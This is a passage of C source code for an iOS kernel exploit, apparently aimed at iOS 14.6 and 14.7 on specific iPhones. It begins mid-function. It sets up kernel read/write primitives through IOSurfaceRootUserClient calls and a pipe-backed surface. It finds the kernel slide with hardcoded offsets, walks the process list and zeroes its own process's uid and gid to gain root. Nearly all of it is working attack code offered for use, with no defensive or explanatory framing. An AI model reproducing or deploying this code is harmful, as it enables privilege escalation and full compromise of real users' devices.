if(!kread32(kaddr + sizeof(uint32_t), &high)) return false; *out = ((uint64_t)high << 32) | low; return true; } static bool kwrite32(uint64_t kaddr, uint32_t val){ if(!g_krw_iosruc){ printf("%s: init_krw not called yet\n", __func__); return false; } uint8_t contents[0x10000]; if(read(g_krw_surface_pipe_read, contents, sizeof(contents)) == -1){ printf("%s: read fail: %s\n", __func__, strerror(errno)); return false; } *(uint32_t *)(contents + 0x8 + 0xa0 + 0xb0) = 1; *(uint64_t *)(contents + 0x8 + 0xa0 + 0xc0) = kaddr - 0x98; if(write(g_krw_surface_pipe_write, contents, sizeof(contents)) == -1){ printf("%s: write fail: %s\n", __func__, strerror(errno)); return false; } uint64_t ins[] = { g_krw_surface_id, 0, val }; kern_return_t kret = IOConnectCallScalarMethod(g_krw_iosruc, 31, ins, 3, NULL, NULL); if(kret){ printf("%s: failed writing to %#llx: %s\n", __func__, kaddr, mach_error_string(kret)); return false; } return true; } static bool kwrite64(uint64_t kaddr, uint64_t val){ uint32_t low = (uint32_t)val; uint32_t high = (uint32_t)(val >> 32); if(!kwrite32(kaddr, low)) return false; if(!kwrite32(kaddr + sizeof(uint32_t), high)) return false; return true; } static bool post_exploit(uint64_t krw_iosruc_kaddr){ uint64_t slid_iosruc_vtab; if(!kread64(krw_iosruc_kaddr, &slid_iosruc_vtab)){ printf("%s: failed reading iosruc vtable\n", __func__); return false; } printf("%s: iosruc vtab is %#llx\n", __func__, slid_iosruc_vtab); slid_iosruc_vtab |= 0xffffff8000000000; /* XXX Don't have time to detect this automatically, manually set */ bool is_new_style_kernel = true; uint64_t kslide, kernel_taskp; if(is_new_style_kernel){ /* iPhone 8, 14.6 */ kslide = slid_iosruc_vtab - 0xfffffff00789a388; kernel_taskp = 0xfffffff007729030 + kslide; } else{ /* iPhone SE (2016), 14.7 */ kslide = slid_iosruc_vtab - 0xfffffff006e2fb10; uint64_t kernel_taskpp = slid_iosruc_vtab - 0x1980; if(!kread64(kernel_taskpp, &kernel_taskp)){ printf("%s: old: failed reading kernel_task pointer\n", __func__); return false; } } printf("%s: kernel slide is %#llx\n", __func__, kslide); uint64_t kernel_task; if(!kread64(kernel_taskp, &kernel_task)){ printf("%s: failed reading kernel_task\n", __func__); return false; } kernel_task |= 0xffffff8000000000; printf("%s: kernel task struct is at %#llx\n", __func__, kernel_task); uint64_t kernel_proc; if(!kread64(kernel_task + 0x398, &kernel_proc)){ printf("%s: failed reading kernel proc pointer\n", __func__); return false; } kernel_proc |= 0xffffff8000000000; printf("%s: kernel proc struct is at %#llx\n", __func__, kernel_proc); uint64_t curproc; if(!kread64(kernel_proc + 0x8, &curproc)){ printf("%s: failed reading kernproc->le_prev\n", __func__); return false; } curproc |= 0xffffff8000000000; uint64_t myproc; pid_t pid, mypid = getpid(); do { if(!kread32(curproc + 0x68, (uint32_t *)&pid)){ printf("%s: fail reading pid for proc struct %#llx\n", __func__, curproc); return false; } myproc = curproc; if(!kread64(curproc + 0x8, &curproc)){ printf("%s: failed reading next proc\n", __func__); return false; } curproc |= 0xffffff8000000000; } while (pid != mypid); printf("%s: my proc struct is at %#llx\n", __func__, myproc); uint64_t mytask; if(!kread64(myproc + 0x10, &mytask)){ printf("%s: could not read my task struct\n", __func__); return false; } mytask |= 0xffffff8000000000; printf("%s: my task struct is at %#llx\n", __func__, mytask); uint64_t mycreds; if(!kread64(myproc + 0xf0, &mycreds)){ printf("%s: could not read my creds struct\n", __func__); return false; } mycreds |= 0xffffff8000000000; printf("%s: my creds are at %#llx\n", __func__, mycreds); uid_t uid = getuid(); gid_t gid = getgid(); printf("%s: before: uid = %d, gid = %d\n", __func__, uid, gid); if(!kwrite32(mycreds + 0x18, 0)){ printf("%s: failed zeroing uid\n", __func__); return false; } if(!kwrite32(mycreds + 0x1c, 0)){ printf("%s: failed zeroing ruid\n", __func__); return false; } if(!kwrite32(mycreds + 0x20, 0)){ printf("%s: failed zeroing svuid\n", __func__); return false; } if(!kwrite32(mycreds + 0x68, 0)){ printf("%s: failed zeroing rgid\n", __func__); return false; } if(!kwrite32(mycreds + 0x6c, 0)){ printf("%s: failed zeroing svgid\n", __func__); return false; } uid = getuid(); gid = getgid(); printf("%s: after: uid = %d, gid = %d\n", __func__, uid, gid); return true; } static void exploit(void){ uint64_t anchor_alloc_kaddr; struct array *iosruc_hole_fillers; struct array *pipe_hole_fillers; if(!exploit_stage1(&iosruc_hole_fillers, &pipe_hole_fillers, &anchor_alloc_kaddr)){ #ifdef SAMPLING_MEMORY printf("%s: failed to sample kernel_map\n", __func__); #else printf("%s: failed to shape kva space\n", __func__); #endif return; } #ifdef SAMPLING_MEMORY return; #endif printf("%s: Shaped KVA space\n", __func__); uint64_t iosr_kaddr, iosruc_kaddr, iosc_array_kaddr; uint32_t iosc_array_capacity; if(!exploit_stage2(iosruc_hole_fillers, &iosr_kaddr, &iosruc_kaddr, &iosc_array_kaddr, &iosc_array_capacity)){ printf("%s: stage2 failed, we will panic\n", __func__); return; } printf("%s: stage2 success\n", __func__); /* printf("%s: stage2 success\n" */ /* "\tIOSurfaceRoot pointer: %#llx\n" */ /* "\tIOSurfaceRootUserClient: %#llx\n" */ /* "\t\tIOSurfaceClient array: %#llx\n" */ /* "\t\tIOSurfaceClient array capacity: %d\n", */ /* __func__, iosr_kaddr, iosruc_kaddr, iosc_array_kaddr, */ /* iosc_array_capacity); */ struct pipe_hole_filler *krw_pipe_hole_filler; io_connect_t krw_iosruc; int krw_surface_id; if(!exploit_stage3(iosruc_hole_fillers, pipe_hole_fillers, anchor_alloc_kaddr, iosruc_kaddr, iosc_array_kaddr, iosc_array_capacity, &krw_pipe_hole_filler, &krw_iosruc, &krw_surface_id)){ printf("%s: stage3 failed, we will panic\n", __func__); return; } printf("%s: stage3 success\n", __func__); if(!init_krw(krw_iosruc, krw_pipe_hole_filler->rfd, krw_pipe_hole_filler->wfd, krw_surface_id)){ printf("%s: could not init kernel read/write prims\n", __func__); return; } printf("%s: kernel read/write prims set up\n" " read kernel memory with kread32/64\n" " write kernel memory with kwrite32/64\n", __func__); if(!post_exploit(iosruc_kaddr)){ printf("%s: post exploit failed, we will panic\n", __func__); return; } } static int increase_file_limit(void){ struct rlimit rl = {0}; int err = getrlimit(RLIMIT_NOFILE, &rl); if(err){ printf("%s: getrlimit: %s\n", __func__, strerror(errno)); return err; } rl.rlim_cur = OPEN_MAX; rl.rlim_max = OPEN_MAX; err = setrlimit(RLIMIT_NOFILE, &rl); if(err){ printf("%s: setrlimit: %s\n", __func__, strerror(errno)); return err; } return 0; } int main(int argc, char **argv){ if(increase_file_limit()){ printf("Failed to increase file limits\n"); return 1; } struct utsname u; uname(&u); printf("%s %s %s\n", u.release, u.version, u.machine); exploit(); for(;;); return 0; }